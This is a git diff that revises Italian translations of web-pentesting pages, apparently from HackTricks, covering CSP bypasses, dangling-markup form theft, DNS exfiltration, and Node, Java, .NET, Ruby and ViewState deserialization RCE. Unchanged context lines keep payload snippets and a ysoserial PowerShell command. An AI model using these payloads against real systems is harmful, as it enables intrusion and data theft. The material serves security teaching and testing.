`https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`. -**Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**. +Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**. La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema. @@ -368,7 +368,7 @@ Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella ``` ### AngularJS eventi -Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere il CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox. +Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox. Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo: ```xml @@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" /> ``` Se il CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati dal CSP. -Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso. +Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso. Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato. @@ -450,7 +450,7 @@ Potresti anche abusare di questa configurazione per **caricare codice javascript ### Con i Service Workers -La funzione **`importScripts`** dei service workers non è limitata dalla CSP: +La funzione **`importScripts`** dei service workers non è limitata dal CSP: {{#ref}} ../xss-cross-site-scripting/abusing-service-workers.md @@ -478,9 +478,9 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3 ### img-src \*; via XSS (iframe) - Attacco temporale Nota l'assenza della direttiva `'unsafe-inline'`\ -Questa volta puoi far **caricare** una pagina sotto **il tuo controllo** tramite **XSS** con un ` // The bot will load an URL with the payload @@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\ -La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**: +La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**: ```html ` Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**: diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 966175122..2b4fddd9c 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,7 +4,7 @@ ## Resume -Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**iniezione HTML**. Questo è molto utile se **non trovi alcun modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/)ma puoi **iniettare alcuni tag HTML**.\ +Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**iniezione HTML**. Questo è molto utile se **non trovi alcun modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/) ma puoi **iniettare alcuni tag HTML**.\ È anche utile se qualche **segreto è salvato in chiaro** nell'HTML e vuoi **esfiltrarlo** dal client, o se vuoi fuorviare l'esecuzione di qualche script. Diverse tecniche commentate qui possono essere utilizzate per bypassare alcune [**Content Security Policy**](../content-security-policy-csp-bypass/) esfiltrando informazioni in modi inaspettati (tag html, CSS, tag meta http, moduli, base...). @@ -21,7 +21,7 @@ Se il tag `img` è vietato (a causa di CSP per esempio) puoi anche usare `` questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo verranno inviati all'attaccante. +Imposta un'intestazione del modulo: `
` questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo saranno inviati all'attaccante. ### Furto di moduli 3 @@ -65,7 +65,7 @@ Utilizzando la tecnica menzionata in precedenza per rubare i moduli (iniettando ```html ` tag. Tutti i dati fino a quando non viene trovato un `` chiuso verranno inviati: ```html @@ -102,7 +102,7 @@ Da questa [ricerca di portswiggers](https://portswigger.net/research/evading-csp if(window.name) { @@ -180,14 +180,14 @@ Per ulteriori informazioni controlla [https://portswigger.net/research/bypassing ### \` o eseguire un reindirizzamento (in 5s in questo caso): `` +Puoi usare **`meta http-equiv`** per eseguire **diverse azioni** come impostare un Cookie: `` o eseguire un reindirizzamento (in 5s in questo caso): `` Questo può essere **evitato** con un **CSP** riguardante **http-equiv** ( `Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`) ### Nuovo \) -Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato**, `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**. +Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**. -Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà**, poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\ -Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** in modo da eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\ +Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\ +Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\ Nel prossimo blocco di codice **nota l'ultima parentesi** e come la funzione `unserialize` eseguirà automaticamente il codice: ```javascript var serialize = require("node-serialize") @@ -256,7 +256,7 @@ Puoi [**trovare qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-j Un aspetto notevole di **funcster** è l'inaccessibilità degli **oggetti standard incorporati**; essi rientrano al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi su oggetti incorporati, portando a eccezioni come `"ReferenceError: console is not defined"` quando vengono utilizzati comandi come `console.log()` o `require(something)`. -Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può eludere questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento: +Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può aggirare questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento: ```javascript funcster = require("funcster") //Serialization @@ -495,7 +495,7 @@ Java utilizza molto la serializzazione per vari scopi come: - **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc. - **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java. -- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti. +- **RMI over HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti. - **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete. - **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri. @@ -546,7 +546,7 @@ return super.resolveClass(desc); } } ``` -**Utilizzare un Java Agent per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting di classi dannose**, utilizzando un parametro JVM: +**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklistaggio di classi dannose**, utilizzando un parametro JVM: ``` -javaagent:name-of-agent.jar ``` @@ -585,7 +585,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Documento sulla deserializzazione di Java e .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Documento sulla deserializzazione di Java e .Net JSON **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - CVE di deserializzazione: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Iniezione JNDI & log4Shell @@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Message Service -> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata presso Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Prodotti @@ -651,7 +651,7 @@ Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter` - **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che sarà abusata durante la deserializzazione per eseguire comandi). - **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo) -- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._ +- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._ - **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState #### Altri parametri di ysoserial.net @@ -728,7 +728,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net: ### **Riferimenti** -- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Documento sulla deserializzazione JSON in Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) @@ -819,7 +819,7 @@ Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rail ### Metodo Ruby .send() -Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di qualche utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro. +Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro. Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario: ```ruby @@ -864,7 +864,7 @@ Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/ Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente): -
LibreriaDati di inputMetodo di avvio all'interno della classe
Marshal (Ruby)Binario_load
OjJSONhash (la classe deve essere inserita in hash(mappa) come chiave)
OxXMLhash (la classe deve essere inserita in hash(mappa) come chiave)
Psych (Ruby)YAMLhash (la classe deve essere inserita in hash(mappa) come chiave)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))
+
LibreriaDati di inputMetodo di avvio all'interno della classe
Marshal (Ruby)Binario_load
OjJSONhash (la classe deve essere inserita in hash(mappa) come chiave)
OxXMLhash (la classe deve essere inserita in hash(mappa) come chiave)
Psych (Ruby)YAMLhash (la classe deve essere inserita in hash(mappa) come chiave)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))
Esempio base: ```ruby @@ -900,7 +900,7 @@ Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadg "password": "anypw" } ``` -Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come: +Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un completo RCE con qualcosa come: ```json { "^o": "Gem::Resolver::SpecSpecification", diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 0e935c15a..9be831721 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -87,7 +87,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; Nella [pagina web ufficiale](https://www.newtonsoft.com/json) è indicato che questa libreria consente di **Serializzare e deserializzare qualsiasi oggetto .NET con il potente serializzatore JSON di Json.NET**. Quindi, se potessimo **deserializzare il gadget ObjectDataProvider**, potremmo causare un **RCE** semplicemente deserializzando un oggetto. -### Esempio Json.Net +### Esempio di Json.Net Prima di tutto vediamo un esempio su come **serializzare/deserializzare** un oggetto utilizzando questa libreria: ```java diff --git a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md index b870034ad..c882e21c2 100644 --- a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md +++ b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md @@ -4,7 +4,7 @@ In questo POST verrà spiegato un esempio utilizzando `java.io.Serializable`. # Serializable -L'interfaccia Java `Serializable` (`java.io.Serializable` è un'interfaccia marker che le tue classi devono implementare se devono essere **serializzate** e **deserializzate**. La serializzazione degli oggetti Java (scrittura) avviene con l'[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e la deserializzazione (lettura) avviene con l'[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html). +L'interfaccia Java `Serializable` (`java.io.Serializable` è un'interfaccia marker che le tue classi devono implementare se devono essere **serializzate** e **deserializzate**. La serializzazione degli oggetti Java (scrittura) viene eseguita con l'[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e la deserializzazione (lettura) viene eseguita con l'[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html). Vediamo un esempio con una **classe Person** che è **serializzabile**. Questa classe **sovrascrive la funzione readObject**, quindi quando **qualunque oggetto** di questa **classe** viene **deserializzato**, questa **funzione** verrà **eseguita**.\ Nell'esempio, la **funzione readObject** della classe Person chiama la funzione `eat()` del suo animale domestico e la funzione `eat()` di un Cane (per qualche motivo) chiama un **calc.exe**. **Vedremo come serializzare e deserializzare un oggetto Person per eseguire questa calcolatrice:** @@ -82,6 +82,6 @@ payloadTest("test.ser"); ``` ## Conclusione -Come puoi vedere in questo esempio molto semplice, la "vulnerabilità" qui appare perché la funzione **readObject** sta **chiamando altre funzioni vulnerabili**. +Come puoi vedere in questo esempio molto basilare, la "vulnerabilità" qui appare perché la funzione **readObject** sta **chiamando altre funzioni vulnerabili**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 1893202a0..33bfa96de 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -12,7 +12,7 @@ Le informazioni di ViewState possono essere caratterizzate dalle seguenti propri - **Base64**: - Questo formato è utilizzato quando sia l'attributo `EnableViewStateMac` che l'attributo `ViewStateEncryptionMode` sono impostati su false. -- **Base64 + MAC (Message Authentication Code) Abilitato**: +- **Base64 + MAC (Codice di Autenticazione del Messaggio) Abilitato**: - L'attivazione del MAC si ottiene impostando l'attributo `EnableViewStateMac` su true. Questo fornisce una verifica di integrità per i dati di ViewState. - **Base64 + Crittografato**: - La crittografia viene applicata quando l'attributo `ViewStateEncryptionMode` è impostato su true, garantendo la riservatezza dei dati di ViewState. @@ -28,7 +28,7 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in ### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false -È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` a zero in: +È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` su zero in: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` @@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ### Test case 1.5 – Come nel Test case 1 ma il cookie ViewState non viene inviato dal server Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\ -Si potrebbe presumere che se **ViewState** non è **presente**, la loro implementazione sia **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\ -Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo ancora in grado di ottenere **l'esecuzione del codice** come mostrato nel **Caso 1**. +Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\ +Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo ancora in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**. ### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -166,7 +166,7 @@ Devi usare un parametro in più per creare correttamente il payload: ``` ### Risultato di un'Esplorazione Riuscita -Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto di risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB. +Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto della risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB. Controlla per [ulteriori informazioni qui]() diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md index 75410373f..4fee3b485 100644 --- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md +++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md @@ -125,7 +125,7 @@ return null; ### Maggiori informazioni - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) -- Nell'idea originale il payload delle commons collections è stato modificato per eseguire una query DNS, questo era meno affidabile del metodo proposto, ma questo è il post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) +- Nell'idea originale il payload delle commons collections è stato modificato per eseguire una query DNS, questo era meno affidabile rispetto al metodo proposto, ma questo è il post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe @@ -135,7 +135,7 @@ Puoi scaricare [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) dal B ### Come funziona -**GadgetProbe** utilizzerà lo stesso **payload DNS della sezione precedente** ma **prima** di eseguire la query DNS cercherà di **deserializzare una classe arbitraria**. Se la **classe arbitraria esiste**, la **query DNS** sarà **inviata** e GadgetProbe annoterà che questa classe esiste. Se la **richiesta DNS** non viene **mai inviata**, ciò significa che la **classe arbitraria non è stata deserializzata** con successo, quindi o non è presente o non è **serializzabile/sfruttabile**. +**GadgetProbe** utilizzerà lo stesso **payload DNS della sezione precedente** ma **prima** di eseguire la query DNS cercherà di **deserializzare una classe arbitraria**. Se la **classe arbitraria esiste**, la **query DNS** sarà **inviata** e GadgetProbe annoterà che questa classe esiste. Se la **richiesta DNS** non viene **mai inviata**, questo significa che la **classe arbitraria non è stata deserializzata** con successo, quindi o non è presente o non è **serializzabile/sfruttabile**. All'interno di github, [**GadgetProbe ha alcune wordlist**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con classi Java da testare. @@ -152,7 +152,7 @@ L'**estensione** ha capacità **passive** e attive. ### Passivo -Per impostazione predefinita, **controlla passivamente** tutte le richieste e le risposte inviate **cercando** **byte magici serializzati Java** e presenterà un avviso di vulnerabilità se ne viene trovata una: +Per impostazione predefinita, **controlla passivamente** tutte le richieste e le risposte inviate **cercando** i **byte magici serializzati Java** e presenterà un avviso di vulnerabilità se ne trova uno: ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>) diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md index bdf9f74f3..a7a473647 100644 --- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md +++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md @@ -86,13 +86,13 @@ ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ``` Se leggi il codice, noterai che se in qualche modo concatenassi la trasformazione dell'array, saresti in grado di eseguire comandi arbitrari. -Quindi, **come vengono concatenate quelle trasformazioni?** +Quindi, **come sono concatenate quelle trasformazioni?** ```java Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); ``` -Nell'ultima sezione del payload puoi vedere che viene **creato un oggetto Map**. Poi, la funzione `decorate` viene eseguita da `LazyMap` con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la **copia dei trasformatori concatenati** all'interno dell'attributo `lazyMap.factory`: +Nell'ultima sezione del payload puoi vedere che viene **creato un oggetto Map**. Poi, la funzione `decorate` viene eseguita da `LazyMap` con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la copia dei **trasformatori concatenati** all'interno dell'attributo `lazyMap.factory`: ```java protected LazyMap(Map map, Transformer factory) { super(map); @@ -124,7 +124,7 @@ object = iTransformers[i].transform(object); return object; } ``` -Quindi, ricorda che all'interno di **factory** avevamo salvato **`chainedTransformer`** e all'interno della funzione **`transform`** stiamo **attraversando tutti quei transformer concatenati** ed eseguendo uno dopo l'altro. La cosa divertente è che **ogni transformer utilizza `object`** **come input** 